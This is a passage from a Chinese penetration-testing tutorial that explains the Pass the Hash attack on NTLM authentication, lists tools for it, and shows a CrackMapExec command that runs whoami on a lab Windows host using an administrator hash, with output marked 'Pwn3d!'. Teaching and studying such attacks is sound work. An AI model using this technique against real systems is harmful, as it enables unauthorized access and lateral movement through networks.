验证的整个过程中缺少了一样重要的东西,也就是在故事背景中埋下过的一个小伏笔:windows本身不存储明文密码。
***PTH原理***
根据结果逆推:如果需要正确的response(蓝色)来通过认证,因为response本质上也是Net NTLM Hash(红色)根据公式“Net NTLM Hash = NTLM Hash(Challenge)”,我们需要正确的NTLM Hash(黄色)和Challenge(绿色)。而由于Challenge是服务端发送给,只要我们拥有正确的NTLM Hash,即可通过认证,无需明文密码!简单来说:哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术。
基于上述逆推结果,诞生了Pass The Hash(即hash传递攻击)
。
***应用场景***
内网渗透中获取不到明文密码、破解不了NTLM Hash而又想扩大战果横向移动。
***必要条件***
- 需要服务端的用户名
- 需要正确的NTLM HASH
***PTH工具***
- Smbmap
- CrackMapExec
- Smbexec
- Metasploit
例子:使用CrackMapExec实现Hash传递
root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB 192.168.3.5 445 LIYINGZHEA30B
[*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B)
(domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB 192.168.3.5 445 LIYINGZHEA30B
[+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9
(Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command